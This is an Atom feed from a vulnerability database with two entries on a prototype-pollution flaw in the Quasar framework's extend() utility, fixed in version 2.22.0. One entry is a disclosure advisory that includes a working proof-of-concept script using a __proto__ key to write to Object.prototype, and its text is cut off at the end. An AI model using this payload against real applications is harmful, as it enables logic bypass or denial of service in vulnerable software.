<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://db.gcve.eu/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-10-09T10:06:35.689400+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>info@gcve.eu</email>
  </author>
  <link href="https://db.gcve.eu" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://db.gcve.eu/vuln/fkie_cve-2026-73647</id>
    <title>fkie_cve-2026-73647</title>
    <updated>2026-10-09T10:06:35.708564+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml">
        <p>Quasar Framework is a framework for building high-performance Vue.js user interfaces. Prior to 2.22.0, the public extend() utility in ui/src/utils/extend/extend.js recursively copied attacker-controlled object keys during extend(true, target, source) deep merges without rejecting an own __proto__ property. The merge could descend into the prototype object and write attacker-controlled properties to Object.prototype in the same JavaScript process. Applications that passed user-controlled or partially user-controlled objects to extend() could experience logic bypass, unsafe default-option injection, denial of service, or other application-specific impact when polluted properties were later consumed. This issue is fixed in version 2.22.0.</p>
      </div>
    </content>
    <link href="https://db.gcve.eu/vuln/fkie_cve-2026-73647"/>
  </entry>
  <entry>
    <id>https://db.gcve.eu/vuln/ghsa-3r53-75j5-3g7j</id>
    <title>GHSA-3r53-75j5-3g7j — Quasar: Prototype pollution in the extend() utility</title>
    <updated>2026-10-09T10:06:35.708645+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> npm: quasar</p>
<p>### Summary</p>
<p>`quasar@2.20.1`, the latest published version at the time of testing, appears to be vulnerable to prototype pollution through the public `extend()` utility exported from the package root.</p>
<p>When `extend(true, target, source)` is used for a deep merge, attacker-controlled object keys are recursively copied into the target object without blocking prototype-pollution primitives such as `__proto__`, `constructor`, or `prototype`.</p>
<p>This can allow attacker-controlled properties to be written to `Object.prototype`.</p>
<p>### Details</p>
<p>Affected source:</p>
<p>```text
src/utils/extend/extend.js
```</p>
<p>Distributed files include:</p>
<p>```text
dist/quasar.server.prod.js
dist/quasar.server.prod.cjs
dist/quasar.client.js
```</p>
<p>The package root publicly exports `extend`. During deep merge, source object keys are recursively assigned into the target object. If the source object contains an own `__proto__` property, the merge can descend into the prototype object and assign attacker-controlled properties onto `Object.prototype`.</p>
<p>### PoC</p>
<p>```bash
rm -rf /tmp/quasar-extend-pp-poc
mkdir /tmp/quasar-extend-pp-poc
cd /tmp/quasar-extend-pp-poc</p>
<p>npm init -y &gt;/dev/null
npm install quasar@2.20.1 vue@3.5.31 &gt;/dev/null</p>
<p>cat &gt; hack.mjs &lt;&lt;'JS'
import { extend } from 'quasar';</p>
<p>delete Object.prototype.polluted;</p>
<p>extend(true, {}, {
  ['__proto__']: {
    polluted: 'yes'
  }
});</p>
<p>console.log(({}).polluted);</p>
<p>delete Object.prototype.polluted;
JS</p>
<p>node ./hack.mjs
```</p>
<p>Observed output:</p>
<p>```text
yes
```</p>
<p>Expected out…</p></div>
    </content>
    <link href="https://db.gcve.eu/vuln/ghsa-3r53-75j5-3g7j"/>
  </entry>
</feed>
